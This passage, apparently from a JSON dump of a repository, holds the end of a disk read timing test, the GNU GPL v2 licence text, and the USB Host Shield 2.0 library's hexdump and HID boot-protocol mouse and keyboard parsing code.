FA_READ);\n                                fflush(stdout);\n                                start = (uint32_t)millis();\n                                while(start == (uint32_t)millis());\n                                if(rc) goto failed;\n                                for(;;) {\n                                        rc = f_read(&My_File_Object_x, My_Buff_x, mbxs, &bw); /* Read a chunk of file */\n                                        if(rc || !bw) break; /* Error or end of file */\n                                }\n                                end = (uint32_t)millis();\n                                if(rc) goto failed;\n                                rc = f_close(&My_File_Object_x);\n                                if(rc) goto failed;\n                                rt = (end - start) - 1;\n                                printf_P(PSTR(\"Time to read 10485760 bytes: %lu ms (%lu sec)\\r\\nDelete test file\\r\\n\"), rt, (500 + rt) / 1000UL);\nfailed:\n                                if(rc) die(rc);\n                                DISK_IOCTL(fs->drv, CTRL_COMMIT, 0);\n                                printf_P(PSTR(\"10MB timing test finished.\\r\\n\"));\n                        }\n                }\n        }\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/gpl2.txt",
    "content": "\t\t    GNU GENERAL PUBLIC LICENSE\n\t\t       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc.\n                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n\t\t\t    Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Library General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\f\n\t\t    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\f\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\f\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\f\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n\t\t\t    NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n\t\t     END OF TERMS AND CONDITIONS\n\f\n\t    How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  <signature of Ty Coon>, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Library General\nPublic License instead of this License.\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hexdump.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(_usb_h_) || defined(__HEXDUMP_H__)\n#error \"Never include hexdump.h directly; include Usb.h instead\"\n#else\n#define __HEXDUMP_H__\n\nextern int UsbDEBUGlvl;\n\ntemplate <class BASE_CLASS, class LEN_TYPE, class OFFSET_TYPE>\nclass HexDumper : public BASE_CLASS {\n        uint8_t byteCount;\n        OFFSET_TYPE byteTotal;\n\npublic:\n\n        HexDumper() : byteCount(0), byteTotal(0) {\n        };\n\n        void Initialize() {\n                byteCount = 0;\n                byteTotal = 0;\n        };\n\n        void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset);\n};\n\ntemplate <class BASE_CLASS, class LEN_TYPE, class OFFSET_TYPE>\nvoid HexDumper<BASE_CLASS, LEN_TYPE, OFFSET_TYPE>::Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset __attribute__((unused))) {\n        if(UsbDEBUGlvl >= 0x80) { // Fully bypass this block of code if we do not debug.\n                for(LEN_TYPE j = 0; j < len; j++, byteCount++, byteTotal++) {\n                        if(!byteCount) {\n                                PrintHex<OFFSET_TYPE > (byteTotal, 0x80);\n                                E_Notify(PSTR(\": \"), 0x80);\n                        }\n                        PrintHex<uint8_t > (pbuf[j], 0x80);\n                        E_Notify(PSTR(\" \"), 0x80);\n\n                        if(byteCount == 15) {\n                                E_Notify(PSTR(\"\\r\\n\"), 0x80);\n                                byteCount = 0xFF;\n                        }\n                }\n        }\n}\n\n#endif // __HEXDUMP_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidboot.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"hidboot.h\"\n\nvoid MouseReportParser::Parse(USBHID *hid __attribute__((unused)), bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf) {\n        MOUSEINFO *pmi = (MOUSEINFO*)buf;\n        // Future:\n        // bool event;\n\n#if 0\n        if (prevState.mouseInfo.bmLeftButton == 0 && pmi->bmLeftButton == 1)\n                OnLeftButtonDown(pmi);\n\n        if (prevState.mouseInfo.bmLeftButton == 1 && pmi->bmLeftButton == 0)\n                OnLeftButtonUp(pmi);\n\n        if (prevState.mouseInfo.bmRightButton == 0 && pmi->bmRightButton == 1)\n                OnRightButtonDown(pmi);\n\n        if (prevState.mouseInfo.bmRightButton == 1 && pmi->bmRightButton == 0)\n                OnRightButtonUp(pmi);\n\n        if (prevState.mouseInfo.bmMiddleButton == 0 && pmi->bmMiddleButton == 1)\n                OnMiddleButtonDown(pmi);\n\n        if (prevState.mouseInfo.bmMiddleButton == 1 && pmi->bmMiddleButton == 0)\n                OnMiddleButtonUp(pmi);\n\n        if (prevState.mouseInfo.dX != pmi->dX || prevState.mouseInfo.dY != pmi->dY)\n                OnMouseMove(pmi);\n\n        if (len > sizeof (MOUSEINFO))\n                for (uint8_t i = 0; i<sizeof (MOUSEINFO); i++)\n                        prevState.bInfo[i] = buf[i];\n#else\n        //\n        // Optimization idea:\n        //\n        // 1: Don't pass the structure on every event. Buttons would not need it.\n        // 2: Only pass x/y values in the movement routine.\n        //\n        // These two changes (with the ones I have made) will save extra flash.\n        // The only \"bad\" thing is that it could break old code.\n        //\n        // Future thoughts:\n        //\n        // The extra space gained can be used for a generic mouse event that can be called\n        // when there are _ANY_ changes. This one you _MAY_ want to pass everything, however the\n        // sketch could already have noted these facts to support drag/drop scroll wheel stuff, etc.\n        //\n\n        // Why do we need to pass the structure for buttons?\n        // The function call not enough of a hint for what is happening?\n        if(prevState.mouseInfo.bmLeftButton != pmi->bmLeftButton ) {\n                if(pmi->bmLeftButton) {\n                        OnLeftButtonDown(pmi);\n                } else {\n                        OnLeftButtonUp(pmi);\n                }\n                // Future:\n                // event = true;\n        }\n\n        if(prevState.mouseInfo.bmRightButton != pmi->bmRightButton) {\n                if(pmi->bmRightButton) {\n                        OnRightButtonDown(pmi);\n                } else {\n                        OnRightButtonUp(pmi);\n                }\n                // Future:\n                // event = true;\n        }\n\n        if(prevState.mouseInfo.bmMiddleButton != pmi->bmMiddleButton) {\n                if(pmi->bmMiddleButton) {\n                        OnMiddleButtonDown(pmi);\n                } else {\n                        OnMiddleButtonUp(pmi);\n                }\n                // Future:\n                // event = true;\n        }\n\n        //\n        // Scroll wheel(s), are not part of the spec, but we could support it.\n        // Logitech wireless keyboard and mouse combo reports scroll wheel in byte 4\n        // We wouldn't even need to save this information.\n        //if(len > 3) {\n        //}\n        //\n\n        // Mice only report motion when they actually move!\n        // Why not just pass the x/y values to simplify things??\n        if(pmi->dX || pmi->dY) {\n                OnMouseMove(pmi);\n                // Future:\n                // event = true;\n        }\n\n        //\n        // Future:\n        // Provide a callback that operates on the gathered events from above.\n        //\n        // if(event) OnMouse();\n        //\n\n        // Only the first byte matters (buttons). We do NOT need to save position info.\n        prevState.bInfo[0] = buf[0];\n#endif\n\n};\n\nvoid KeyboardReportParser::Parse(USBHID *hid, bool is_rpt_id __attribute__((unused)), uint8_t len __attribute__((unused)), uint8_t *buf) {\n        // On error - return\n        if (buf[2] == 1)\n                return;\n\n        //KBDINFO       *pki = (KBDINFO*)buf;\n\n        // provide event for changed control key state\n        if (prevState.bInfo[0x00] != buf[0x00]) {\n                OnControlKeysChanged(prevState.bInfo[0x00], buf[0x00]);\n        }\n\n        for (uint8_t i = 2; i < 8; i++) {\n                bool down = false;\n                bool up = false;\n\n                for (uint8_t j = 2; j < 8; j++) {\n                        if (buf[i] == prevState.bInfo[j] && buf[i] != 1)\n                                down = true;\n                        if (buf[j] == prevState.bInfo[i] && prevState.bInfo[i] != 1)\n                                up = true;\n                }\n                if (!down) {\n                        HandleLockingKeys(hid, buf[i]);\n                        OnKeyDown(*buf, buf[i]);\n                }\n                if (!up)\n                        OnKeyUp(prevState.bInfo[0], prevState.bInfo[i]);\n        }\n        for (uint8_t i = 0; i < 8; i++)\n                prevState.bInfo[i] = buf[i];\n};\n\nconst uint8_t KeyboardReportParser::numKeys[10] PROGMEM = {'!', '@', '#', '$', '%', '^', '&', '*', '(', ')'};\nconst uint8_t KeyboardReportParser::symKeysUp[12] PROGMEM = {'_', '+', '{', '}', '|', '~', ':', '\"', '~', '<', '>', '?'};\nconst uint8_t KeyboardReportParser::symKeysLo[12] PROGMEM = {'-', '=', '[', ']', '\\\\', ' ', ';', '\\'', '`', ',', '.', '/'};\nconst uint8_t KeyboardReportParser::padKeys[5] PROGMEM = {'/', '*', '-', '+', 0x13};\n\nuint8_t KeyboardReportParser::OemToAscii(uint8_t mod, uint8_t key) {\n        uint8_t shift = (mod & 0x22);\n\n        // [a-z]\n        if (VALUE_WITHIN(key, 0x04, 0x1d)) {\n                // Upper case letters\n                if ((kbdLockingKeys.kbdLeds.bmCapsLock == 0 && shift) ||\n                        (kbdLockingKeys.kbdLeds.bmCapsLock == 1 && shift == 0))\n                        return (key - 4 + 'A');\n\n                        // Lower case letters\n                else\n                        return (key - 4 + 'a');\n        }// Numbers\n        else if (VALUE_WITHIN(key, 0x1e, 0x27)) {\n                if (shift)\n                        return ((uint8_t)pgm_read_byte(&getNumKeys()[key - 0x1e]));\n                else\n                        return ((key == UHS_HID_BOOT_KEY_ZERO) ? '0' : key - 0x1e + '1');\n        }// Keypad Numbers\n        else if(VALUE_WITHIN(key, 0x59, 0x61)) {\n                if(kbdLockingKeys.kbdLeds.bmNumLock == 1)\n                        return (key - 0x59 + '1');\n        } else if(VALUE_WITHIN(key, 0x2d, 0x38))\n                return ((shift) ? (uint8_t)pgm_read_byte(&getSymKeysUp()[key - 0x2d]) : (uint8_t)pgm_read_byte(&getSymKeysLo()[key - 0x2d]));\n        else if(VALUE_WITHIN(key, 0x54, 0x58))\n                return (uint8_t)pgm_read_byte(&getPadKeys()[key - 0x54]);\n        else {\n                switch(key) {\n                        case UHS_HID_BOOT_KEY_SPACE: return (0x20);\n                        case UHS_HID_BOOT_KEY_ENTER: return (0x13);\n                        case UHS_HID_BOOT_KEY_ZERO2: return ((kbdLockingKeys.kbdLeds.bmNumLock == 1) ? '0': 0);\n                        case UHS_HID_BOOT_KEY_PERIOD: return ((kbdLockingKeys.kbdLeds.bmNumLock == 1) ? '.': 0);\n                }\n        }\n        return ( 0);\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/hidboot.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(__HIDBOOT_H__)\n#define __HIDBOOT_H__\n\n#include \"usbhid.h\"\n\n#define UHS_HID_BOOT_KEY_ZERO           0x27\n#define UHS_HID_BOOT_KEY_ENTER          0x28\n#define UHS_HID_BOOT_KEY_SPACE          0x2c\n#define UHS_HID_BOOT_KEY_CAPS_LOCK      0x39\n#define UHS_HID_BOOT_KEY_SCROLL_LOCK    0x47\n#define UHS_HID_BOOT_KEY_NUM_LOCK       0x53\n#define UHS_HID_BOOT_KEY_ZERO2          0x62\n#define UHS_HID_BOOT_KEY_PERIOD         0x63\n\n// Don't worry, GCC will optimize the result to a final value.\n#define bitsEndpoints(p) ((((p) & USB_HID_PROTOCOL_KEYBOARD)? 2 : 0) | (((p) & USB_HID_PROTOCOL_MOUSE)? 1 : 0))\n#define totalEndpoints(p) ((bitsEndpoints(p) == 3) ? 3 : 2)\n#define epMUL(p) ((((p) & USB_HID_PROTOCOL_KEYBOARD)? 1 : 0) + (((p) & USB_HID_PROTOCOL_MOUSE)? 1 : 0))\n\n// Already defined in hid.h\n// #define HID_MAX_HID_CLASS_DESCRIPTORS 5\n\nstruct MOUSEINFO {\n\n        struct {\n                uint8_t bmLeftButton : 1;\n                uint8_t bmRightButton : 1;\n                uint8_t bmMiddleButton : 1;\n                uint8_t bmDummy : 5;\n        };\n        int8_t dX;\n        int8_t dY;\n};\n\nclass MouseReportParser : public HIDReportParser {\n\n        union {\n                MOUSEINFO mouseInfo;\n                uint8_t bInfo[sizeof (MOUSEINFO)];\n        } prevState;\n\npublic:\n        void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n\nprotected:\n\n        virtual void OnMouseMove(MOUSEINFO *mi __attribute__((unused))) {\n        };\n\n        virtual void OnLeftButtonUp(MOUSEINFO *mi __attribute__((unused))) {\n        };\n\n        virtual void OnLeftButtonDown(MOUSEINFO *mi __attribute__((unused))) {\n        };\n\n        virtual void OnRightButtonUp(MOUSEINFO *mi __attribute__((unused))) {\n        };\n\n        virtual void OnRightButtonDown(MOUSEINFO *mi __attribute__((unused))) {\n        };\n\n        virtual void OnMiddleButtonUp(MOUSEINFO *mi __attribute__((unused))) {\n        };\n\n        virtual void OnMiddleButtonDown(MOUSEINFO *mi __attribute__((unused))) {\n        };\n};\n\nstruct MODIFIERKEYS {\n        uint8_t bmLeftCtrl : 1;\n        uint8_t bmLeftShift : 1;\n        uint8_t bmLeftAlt : 1;\n        uint8_t bmLeftGUI : 1;\n        uint8_t bmRightCtrl : 1;\n        uint8_t bmRightShift : 1;\n        uint8_t bmRightAlt : 1;\n        uint8_t bmRightGUI : 1;\n};\n\nstruct KBDINFO {\n\n        struct {\n                uint8_t bmLeftCtrl : 1;\n                uint8_t bmLeftShift : 1;\n                uint8_t bmLeftAlt : 1;\n                uint8_t bmLeftGUI : 1;\n                uint8_t bmRightCtrl : 1;\n                uint8_t bmRightShift : 1;\n                uint8_t bmRightAlt : 1;\n                uint8_t bmRightGUI : 1;\n        };\n        uint8_t bReserved;\n        uint8_t Keys[6];\n};\n\nstruct KBDLEDS {\n        uint8_t bmNumLock : 1;\n        uint8_t bmCapsLock : 1;\n        uint8_t bmScrollLock : 1;\n        uint8_t bmCompose : 1;\n        uint8_t bmKana : 1;\n        uint8_t bmReserved : 3;\n};\n\nclass KeyboardReportParser : public HIDReportParser {\n        static const uint8_t numKeys[10];\n        static const uint8_t symKeysUp[12];\n        static const uint8_t symKeysLo[12];\n        static const uint8_t padKeys[5];\n\nprotected:\n\n        union {\n                KBDINFO kbdInfo;\n                uint8_t bInfo[sizeof (KBDINFO)];\n        } prevState;\n\n        union {\n                KBDLEDS kbdLeds;\n                uint8_t bLeds;\n        } kbdLockingKeys;\n\n        uint8_t OemToAscii(uint8_t mod, uint8_t key);\n\npublic:\n\n        KeyboardReportParser() {\n                kbdLockingKeys.bLeds = 0;\n        };\n\n        void Parse(USBHID *hid, bool is_rpt_id, uint8_t len, uint8_t *buf);\n\nprotected:\n\n        virtual uint8_t HandleLockingKeys(USBHID* hid, uint8_t key) {\n                uint8_t old_keys = kbdLockingKeys.bLeds;\n\n                switch(key) {\n                        case UHS_HID_BOOT_KEY_NUM_LOCK:\n                                kbdLockingKeys.kbdLeds.bmNumLock = ~kbdLockingKeys.kbdLeds.bmNumLock;\n                                break;\n                        case UHS_HID_BOOT_KEY_CAPS_LOCK:\n                                kbdLockingKeys.kbdLeds.bmCapsLock = ~kbdLockingKeys.kbdLeds.bmCapsLock;\n                                break;\n                        case UHS_HID_BOOT_KEY_SCROLL_LOCK:\n                                kbdLockingKeys.kbdLeds.bmScrollLock = ~kbdLockingKeys.kbdLeds.bmScrollLock;\n                                break;\n                }\n\n                if(old_keys != kbdLockingKeys.bLeds && hid) {\n                        uint8_t lockLeds = kbdLockingKeys.bLeds;\n                        return (hid->SetReport(0, 0/*hid->GetIface()*/, 2, 0, 1, &lockLeds));\n                }\n\n                return 0;\n        };\n\n        virtual void OnControlKeysChanged(uint8_t before __attribute__((unused)), uint8_t after __attribute__((unused))) {\n        };\n\n        virtual void OnKeyDown(uint8_t mod __attribute__((unused)), uint8_t key __attribute__((unused))) {\n        };\n\n        virtual void OnKeyUp(uint8_t mod __attribute__((unused)), uint8_t key __attribute__((unused))) {\n        };\n\n        virtual const uint8_t *getNumKeys() {\n                return numKeys;\n        };\n\n        virtual const uint8_t *getSymKeysUp() {\n                return symKeysUp;\n        };\n\n        virtual const uint8_t *getSymKeysLo() {\n                return symKeysLo;\n        };\n\n        virtual const uint8_t *getPadKeys() {\n                return padKeys;\n        };\n};\n\ntemplate <const uint8_t BOOT_PROTOCOL>\nclass HIDBoot : public USBHID //public USBDeviceConfig, public UsbConfigXtracter\n{\n        EpInfo epInfo[totalEndpoints(BOOT_PROTOCOL)];\n        HIDReportParser *pRptParser[epMUL(BOOT_PROTOCOL)];\n\n        uint8_t bConfNum; // configuration number\n        uint8_t bIfaceNum; // Interface Number\n        uint8_t bNumIface; // number of interfaces in the configuration\n        uint8_t bNumEP; // total number of EP in the configuration\n        uint32_t qNextPollTime; // next poll time\n        bool bPollEnable; // poll enable flag\n        uint8_t bInterval; // largest interval\n        bool bRptProtoEnable; // Report Protocol enable flag\n\n        void 